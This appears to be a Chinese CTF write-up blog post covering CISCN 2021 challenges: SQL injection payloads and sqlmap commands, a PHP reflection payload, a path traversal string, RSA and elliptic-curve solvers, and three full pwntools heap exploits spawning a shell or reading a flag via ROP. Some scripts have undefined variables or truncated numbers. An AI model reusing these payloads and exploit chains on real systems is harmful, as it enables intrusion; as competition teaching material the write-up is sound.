CISCN部分WP

原创

D0gekong 于 2021-05-17 16:26:56 发布 271 收藏
文章标签： 安全

(1)easy_sql

打开环境，是一个登录界面，因为直接告诉了是sql注入，那么就先测试注入点是哪个

然后可以测试出注入点为psswd

用bp抓包老样子然后保存在本地

sqlmap扫库

```
sqlmap -r 2.txt --dbs
```

跑到数据名为：security

然后跑表，

```
sqlmap -r 2.txt -D security -tables
```

发现有两张表user和`flag，没办法继续按常用的方法进行解题，因此表名无法直接爆出来，但是可以进行猜测表明然后根据无列名注入爆出列名

构造payload来查询：

```
uname=1&passwd=-1') or updatexml(1,concat(0x7e,(select*from (select * from flag as a join flag as b
using(id,no) )as c)),1)%23&Submit=%E7%99%BB%E5%BD%95
```

得到字段名，直接sqlmap拿flag：

```
sqlmap -r 2.txt -D security -T flag -C e912202a-a4b0-4e24-967c-4685af6abf3f -dump -technique E
CISCN{fONHd-xmnAP-AxGum-2cP6z-EwmdS-}
```

(1)easy_source

抓包扫目录之类的常规操作都没出

预期猜测flag在注释里（也给了提示）：你能发现我嘛

可以试着用PHP内置类中的`ReflectionMetho`来读取类中函数的注释，在网上也搜到了一些资料

> 参考自https://r0yanx.com/2020/10/28/fslh-writeup/

payload如下：

```
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
```

(1)glass | solved

RC4+简单的异或加密

逻辑都在native层

三个一组轮换异或,最后再与密钥进行一次异或

脚本如下

```
from Crypto.Cipher import ARC4
res = [0xA3, 0x1A, 0xE3, 0x69, 0x2F, 0xBB, 0x1A, 0x84, 0x65, 0xC2, 0xAD, 0xAD, 0x9E, 0x96, 0x05, 0x02, 0x1F,
0x8E, 0x36, 0x4F, 0xE1, 0xEB, 0xAF, 0xF0, 0xEA, 0xC4, 0xA8, 0x2D, 0x42, 0xC7, 0x6E, 0x3F, 0xB0, 0xD3, 0xCC,
0x78, 0xF9, 0x98, 0x3F]
key1 = b"12345678"
rc4 = ARC4.new(key)
key1 = list(key)
for i in range(39):
    res[i] ^= key1[i % 8]
for i in range(0, 39, 3):
    tmp0 = res[i]
    tmp1 = res[i+1]
    tmp2 = res[i+2]
    res[i] = tmp1 ^ tmp2
    res[i+2] = tmp0 ^ res[i]
    res[i+1] = res[i+2] ^ tmp2
print(rc4.decrypt(bytes(res)))
```

即可得到flag：CISCN{6654d84617f627c88846c172e0f4d46c}

(1)CLASSIS

首先打开文件是一串由A D F G X五个字母组成的一串代码，可以确认是ADFGX密码，但是直接寻常网页解码并不能获得，这里采取另一个网址https://www.dcode.fr/adfgx-cipher#q7采用公开密码表的方式进行框解密。

在替代方格上输入PHQGMEAYNOFDXKRCVSZWBUTIL,把KEY里的值进行清空，得到这个
MMYOBFYSBHKOSOXYMOXXIIPBCDOXOXOOOOSYMRPOPCINBBFLXBYKPOOMYYOBLOEPPFBPKCKK

然后进行栅栏解密，输入第6栏，然后再进行凯撒移位10，得到
flag:CISCNBRACETHREECONEFOURDEONEAFOURCEFFFSEVENSEVENONEYERONINEDCFOURYERO

这里再把中间带有的英语翻译成符号和数字，得到最终flag：CISCN{3c14de1a4cefff77 109dc40a606a5ad0}。

(1)tiny traffic

流量包审查Http流量有点异常，flagwrapper test secret都比较感觉有问题

打开发现是Brotli压缩

几个文件分别解压开

Flag wrapper

Secret

Test

syntax = "proto3";

message PBResponse {

```
  int32 code = 1;
  int64 flag_part_convert_to_hex_plz = 2;
  message data {
    string junk_data = 2;
    string flag_part = 1;
  }
  repeated data dataList = 3;
  int32 flag_part_plz_convert_to_hex = 4;
  string flag_last_part = 5;
}

message PBRequest {
  string cate_id = 1;
  int32 page = 2;
  int32 pageSize = 3;
}
```

明显proto3，转回来

先把proto文件转python

调试运行看看

根据上面的NUMBER知道flag的排列顺序

Flag_part_convert_to_hex_plz=15100450

Flag_part_plz _convert_to_hex=16453958

分别转换得到

e66a22

fb1146

d172a38dc

和last part datalist拼接即可得到flag：CISCN{e66a22e23457889b0fb1146d172a38dc}

(1)running_pixel

下载之后，属性没有任何东西，打开gif，也没有什么奇怪的地方，先把gif一帧帧拿出来看，用GifSplitter分离

查看所有图片，发现在小人的身上会有不规律的白点一会消失一会出现

又根据题目中的像素二字，拿取色工具取了一下颜色，发现这个白点的像素值是（233.233.233），数值是比较特殊的可以推测出这些白点可能会组成一些东西，然后拿工具记录了八十来张图的白点，得到下图

之后就发现这些白点组成了颠倒的数字和字母。然后在记录的过程中发现有的图片是没有白点的。采取脚本让其改良。

```
from PIL import Image
import os
res = Image.new("P", (400,400), 255)
files = os.listdir('running_pixel.gif.ifl')
for i in range(382):
    img = Image.open("running_pixel.gif.ifl/{}".format(files[i])).convert("RGB")
    cnt = 0
    for x in range(400):
        cnt += 1
        for y in range(400):
            rgb = img.getpixel((x,y))
            if rgb == (233,233,233):
                res.putpixel((y,x), 0)
                res.save("output/{}.png".format(i))
                break
        if rgb == (233, 233, 233):
            break
    if cnt == 400:
        res.save("outputA/{}.png".format(i))
res.save("res.png")
```

跑完之后获得一堆图片，共32张，按出现的先后顺序组合之后得到了flag

CISCN{12504d0f-9de1-4b00-87a5-a5fdd0986a00}

(1)lonelywolfx

思路大致是

通过`dobule free`这个突破点构造unsortded bin泄露libc 然后打free hook

可以参考下这个资料：https://www.cnblogs.com/z2yh/p/14152823.html

改一下之前的脚本：

```
from pwn import *
context(log_level='debug',arch='amd64')
libc=ELF("libc-2.27.so")
local = 0
if local ==  1:
    io=process('./lonelywolf')
else:
    io=remote("ip",端口)
elf=ELF('./lonelywolf')
def alloc(size):
    io.recvuntil('Your choice: ')
    io.sendline('1')
    io.recvuntil('Index: ')
    io.sendline(str(0))
    io.recvuntil('Size: ')
    io.sendline(str(size))
def fill(content):
    io.recvuntil('Your choice: ')
    io.sendline('2')
    io.recvuntil('Index: ')
    io.sendline(str(0))
    io.recvuntil("Content: ")
    io.sendline(content)
def free():
    io.recvuntil('Your choice: ')
    io.sendline('4')
    io.recvuntil('Index: ')
    io.sendline(str(0))
def show():
    io.recvuntil('Your choice: ')
    io.sendline('3')
    io.recvuntil('Index: ')
    io.sendline(str(0))
    io.recvuntil("Content: ")
alloc(0x70)
free()
payload1 = p64(0)+b'a'
fill(payload1)
free()
show()
heap_addr = u64(io.recv(6)+b"\x00"*2) - 0x260
log.success("heap_addr==>" + hex(heap_addr))
payload2 = heap_addr + 0x10
fill(p64(payload2))
alloc(0x70)
alloc(0x70)
fill('\x07'*0x40)
free()
show()
addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = addr - 0x3ebca0
log.success("libc_base==>" + hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
payload3 = '\x01'*0x40+p64(free_hook-8)
```

```
fill(payload3)
alloc(0x10)
fill('/bin/sh\x00'+p64(system))
free()
io.interactive()
```

CISCN{153zb-Fwuqb-rT2Qx-E2OH1-ijl3m-}

(2)middle_source

目录扫描扫了一下，发现.listing

访问找到提示链接

访问是phpinfo

最终pyload

```
cf=../../../../../etc/jaeccjcdfe/ceiaeeebfi/febachejea/cddedgeafb/ahfjfdfacj/fl444444g
```

利用hackbar 传值获得flag

(2)silverwolf

```
from pwn import *
#from LibSearcher import *
```

```
context.log_level = "debug"
amd64 = True
if amd64:
context.arch = "amd64"
else:
context.arch = "i386"
local = False
if local:
p = process("./silverwolf",env={"LD_PRELOAD":"./libc-2.27.so"})
if amd64:
libc = ELF("./libc-2.27.so")
else:
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p = remote("",)
libc = ELF("./libc-2.27.so")
elf = ELF("./silverwolf")

def g_p(params):
param = ""
for i in params:
param += (i + "\n")
gdb.attach(p, param)
def g():
gdb.attach(p)

s = lambda a: p.send(str(a))
sa = lambda a, b: p.sendafter(str(a), str(b))
sl = lambda a: p.sendline(str(a))
sla = lambda a, b: p.sendlineafter(str(a), str(b))
r = lambda a=4096: p.recv(a)
```

```
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(str(a))
shell = lambda: p.interactive()

def choice(index):
sla("Your choice: ",str(index))
def add(size):
choice(1)
sla("Index: ","0")
sla("Size: ",str(size))
def delete():
choice(4)
sla("Index: ","0")
def show():
choice(3)
sla("Index: ","0")
def edit(content):
choice(2)
sla("Index: ","0")
sa("Content: ",content)


for i in range(7):
add(0x78)
for i in range(16):
add(0x18)
for i in range(16):
add(0x60)
for i in range(16):
add(0x50)
```

```
add(0x78)
delete()
add(0x58)
delete()
add(0x48)
delete()
add(0x58)
delete()
edit(p64(0) + "\n")
delete()
show()
p.recvuntil("Content: ")
off = 0x55555575a1b0-0x555555758250
heap_addr = u64(p.recv(numb=6).ljust(0x8,"\x00"))-off
log.success(hex(heap_addr))
add(0x58)
add(0x58)
edit(p64(0)+"\n")
add(0x58)
delete()
choice(3)
sla("Index: ","1"*0x500)
show()
p.recvuntil("Content: ")
off = 0x7ffff7b81cf0 - 0x7ffff7796000
libc.address = u64(p.recv(numb=6).ljust(0x8,"\x00")) - off
log.success(hex(libc.address))

sigframe = SigreturnFrame()
sigframe.rdi = heap_addr+0x400+0x70
sigframe.rsi = 0
```

```
sigframe.rdx = 0
sigframe.rsp = heap_addr + 0x400
sigframe.rbp = heap_addr + 0x400
sigframe.rip = libc.address + 0x0000000000054da7 #mov eax,2;ret;
'''
pwndbg> x/20gx 0x555555758250+0x400
0x555555758650: 0x0000000000000000 0x0000000000000000
0x555555758660: 0x0000000000000000 0x0000000000000000
0x555555758670: 0x0000000000000000 0x0000000000000000
0x555555758680: 0x0000000000000000 0x0000000000000000
0x555555758690: 0x0000000000000000 0x0000000000000000
0x5555557586a0: 0x0000000000000000 0x0000000000000000
0x5555557586b0: 0x0000000000000000 0x0000000000000000
0x5555557586c0: 0x0000000000000000 0x0000000000000000
0x5555557586d0: 0x0000000000000000 0x0000000000000000
0x5555557586e0: 0x0000000000000000 0x0000000000000000
'''
add(0x78)
delete()
edit(p64(0)+"\n")
delete()
edit(p64(heap_addr) + "\n")
add(0x78)
add(0x78)
edit(str(sigframe)[:120])
add(0x78)
delete()
edit(p64(0)+"\n")
delete()
edit(p64(heap_addr+0x78) + "\n")
add(0x78)
```

```
add(0x78)
edit(str(sigframe)[120:240])
add(0x78)
delete()
edit(p64(0)+"\n")
delete()
edit(p64(heap_addr+0x400) + "\n")
add(0x78)
add(0x78)
rop = p64(0x00000000000d2745+libc.address)
rop += p64(libc.address+0x00000000000215bf) #pop rdi
rop += p64(3)
rop += p64(libc.address+0x0000000000023eea) #pop rsi
rop += p64(heap_addr+0x400+0x100)
rop += p64(libc.address+0x0000000000001b96) #pop rdx
rop += p64(0x100)
rop += p64(libc.symbols["read"])
rop += p64(libc.address+0x00000000000215bf)
rop += p64(1)
rop += p64(libc.symbols["write"])
rop += (0x70 - len(rop))*"\x00"
rop += "./flag\n"

edit(rop)



add(0x78)
delete()
edit(p64(0)+"\n")
delete()
edit(p64(heap_addr) + "\n")
```

```
add(0x78)

add(0x48)
delete()
edit(p64(0)+"\n")
delete()
edit(p64(libc.symbols["__free_hook"]) + "\n")

add(0x48)
add(0x48)
edit(p64(libc.symbols["setcontext"]+53) + "\n")

add(0x78)
delete()
shell()
```

CISCN{Emo29-BT0m0-JFPZa-5OZ4W-cgZ2W-}

(1)pwny

```
# coding=utf-8
from pwn import *
sh=process('./pwny')
sh=remote('ip',端口)
elf=ELF('./pwny')
libc=ELF('./libc-2.27.so')
sh.recvuntil('Your choice: ')
sh.sendline('2')
sh.sendline('256')
sh.sendline('2')
sh.sendline('256')
```

```
sh.sendline('1')
sh.send(p64(0xfffffffffffffffc))
sh.recvuntil('Result: ')
leak_addr=sh.recv(12)
leak_addr='0x'+leak_addr
print leak_addr
leak_addr=int(leak_addr, 16)
log.success('leak addr: '+hex(leak_addr))
libc_base=leak_addr-libc.sym['_IO_2_1_stderr_']
log.success('libc base: '+hex(libc_base))
sh.sendline('1')
sh.sendline(p64(0xfffffffffffffff5))
sh.recvuntil('Result: ')
pie_base=sh.recv(12)
pie_base='0x'+pie_base
pie_base=int(pie_base, 16)-0x202008
log.success('pie base: '+hex(pie_base))
all_base=libc_base-pie_base
log.success('base betweeen libc and pie: '+hex(all_base))
onegadget=[0x4f3d5, 0x4f432, 0x10a41c]
sh.sendline('1')
sh.send(p64((all_base+libc.sym['__environ']-0x202060)/8))
sh.recvuntil('Result: ')
stack_addr=int('0x'+sh.recv(12), 16)
ret_addr=stack_addr+0x120
ret_offest=(ret_addr-pie_base+0x202060-0x404300)/8
sh.sendline('2')
sh.sendline(str(ret_offest))
sh.send(p64(libc_base+onegadget[2]))
sh.interactive()
```

CISCN{oYqrb-mcNtO-8R00a-kE4TJ-YcdyG-}

(2)move

大致思路是首先第一步求x,y取它的一般利用矩阵进行求解，最终获得x,y.之后用二分法对R进行爆破，利用方程求解pq，最后求出P

```
#求x,y
n=802632532614450061524019583513718898641364553460027958915114876002529096067677287519777
half_n=int(sqrt(n))
e=675956640836836689646291736527312101587904400333791758570285643138540143660168645878307
M=matrix([[half_n,e],
          [0,-n]])
L=M.LLL()[0]

mm=matrix([-
2354369129453366623910261244711052193957702173281620189315946094195827451142519482388402
4068506086554074862980190950131463488478059751200617609296827918829480497420961959788000
bound=int(sqrt(2*n))//12
x,y=26279444166664821795077701675621823220865336004430428203703688888211697122228,2213187

assert x<bound
assert y<bound//x
#二分法求s=p+q
def magic(K,N):
    l = 0
    r = K
    for i in range(515):
        s = (l+r)//2
        v = s*s-int(9*s^2*(K-1-s)*(K-1-s))//(round(N^0.25)*round(N^0.25))
        if v<4*N:
            l=s
```

```
        else:
            r=s
    return r
e=675956640836836689646291736527312101587904400333791758570285643138540143660168645878300
x,y=26279444166664821795077701675621823220865336004430428203703688888211697122228,2213187
n=80263253261445006152401958351371889864136455346002795891511487600252909606767728751977
k=e*x-y*n
K=k//y
s=magic(K,n)
print(s)
#求方程求p,q
from z3 import *
s=Solver()
p,q=Ints("p q")
s.add(p+q==183830138521552072848668348506245016491341646885038831622168242588427900329924
s.add(p*q==80263253261445006152401958351371889864136455346002795891511487600252909606767
if s.check()==sat:
    print(s.model())
#解P=eG
a=0
b=80263253261445006152401958351371889864136455346002795891511487600252909606767728751977
e =
675956640836836689646291736527312101587904400333791758570285643138540143660168645878309
p=713711010202253512334866465668984898354819125693475570921523632508486439899314928824
q=112459037501326721615181701939346526655859734315691274530015879337579256339992880956
phi=(p+1)*(q+1)
x,y=67850351748388348419141831759306474808792881360141272703878697087550605122013048127
382330520473219463622835799515248575280477938200710796294836389953577403900302530464831
```

d=inverse_mod(e,phi)

E = EllipticCurve(GF(p),[a,b])

C=E([x,y])

G=d*C

from Crypto.Util.number import *

print(long_to_bytes(G[0])+long_to_bytes(G[1]))

#CISCN{e91fef4ead7463b13d00bda65f540477}

(2)bc

clang直接编译出可执行文件

```
clang baby.bc -o baby
```

采用ida反编译，动态调试

代码逻辑比较简单，把逻辑拷贝出来z3求解即可

CISCN{8a04b4597ad08b83211d3adfa1f61431}

```
from z3 import *
from hashlib import md5

row = [[0x00, 0x00, 0x00, 0x01],[0x01, 0x00, 0x00, 0x00], [0x02, 0x00, 0x00, 0x01], [0x00, 0x00, 0x00,
0x00], [0x01, 0x00, 0x01, 0x00]]
col = [[0x00, 0x00, 0x02, 0x00,0x02], [0x00, 0x00, 0x00, 0x00, 0x00], [0x00, 0x00, 0x00, 0x01, 0x00], [0x00,
0x01, 0x00, 0x00, 0x01]]
s = Solver()

map = [[Int("x%d%d"%(i, j)) for i in range(5)] for j in range(5)]
print(map)
s.add(map[2][2] == 4)
s.add(map[3][3] == 3)
for i in range(5):
    for j in range(5):
        s.add(map[i][j] >= 1)
        s.add(map[i][j] <= 5)
for i in range(5):
    for j in range(5):
        for k in range(j):
            s.add(map[i][j] != map[i][k])
for j in range(5):
    for i in range(5):
        for k in range(i):
            s.add(map[i][j] != map[k][j])
for i in range(5):
    for j in range(4):
        if row[i][j] == 1:
            s.add(map[i][j] > map[i][j+1])
        elif row[i][j] == 2:
            s.add(map[i][j] < map[i][j+1])
for i in range(4):
    for j in range(5):
        if col[i][j] == 2:
            s.add(map[i][j] > map[i+1][j])
        elif col[i][j] == 1:
            s.add(map[i][j] < map[i+1][j])

answer = s.check()
print(answer)
if answer == sat:
    print(s.model())
    m = s.model()
    flag = []
    for i in map:
        for j in i:
            flag.append(m[j].as_long())
    for i in range(len(flag)):
        flag[i] += 0x30
    flag[12] = 0x30
    flag[18] = 0x30
    flag = bytes(flag)
    print(flag)

    print(md5(flag).hexdigest())
```

(3)rsa

flag分为三段。第一段是低指数攻击，第二段是共模攻击，第三段是Coppersmith partial information attack（为sage代码）

```
#!/usr/bin/env python

# coding: utf-8


# In[8]:



# 低加密指数攻击

import gmpy2

#import time

import binascii as B

n = 123814470394550598363280518848914546938137731026777975885846733672494493975703069760

c = 191057652855106675533138988134982202124211775276471878025499139142639689454931446333

e = 3

i = 0

#s = time.clock()

while 1:

    m, b = gmpy2.iroot(c+i*n, e)

    if b:

        #print('[-]m is:', m)

        #print(hex(m))

        print(B.a2b_hex(hex(m)[2:]))

        #print('[!]Timer:', round(time.clock()-s, 2), 's')

        #print('[!]All Done!')

        break

    i += 1



# In[29]:
```

```
import gmpy2

def exgcd(a, b):
    if b==0: return 1, 0
    x, y = exgcd(b, a%b)
    return y, x-a//b*y

N = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836
e1 = 17
e2 = 65537

message1 = 549957513872587987918954132161722846534070540797657697041707630238301309814802

message2 = 912909352674583565419593273812200674661048904553911039896398228557537978053541

x, y = exgcd(e1, e2)
assert x*e1 + y*e2 == 1

m = gmpy2.powmod(message1, x, N) * gmpy2.powmod(message2, y, N) % N
#print(hex(m))
print(B.unhexlify(hex(m)[2:]))


# In[17]:


n=113432930155033263769270712825121761080813952100666693606866355917116416984149165507230
```

p=114370387635810102631164939837335460144033438592180037075127967069288808480352399907400

q=991803319896387979836232950763725670601056296248732974240093319272154930708733248210730

e= 65537

c= 592136964423737658959487026116597567798138976530220809056355456369054340383064689352830

phi=(p-1)*(q-1)

d=gmpy2.invert(e,phi)

m=pow(c,d,n)

#print(hex(m))

print(B.unhexlify(hex(m)[2:]))

In[ ]:

CISCN{3943e8843a19149497956901e5d98639}

另外我问下各位师傅，为啥我在CSDN上图片都是转存失败？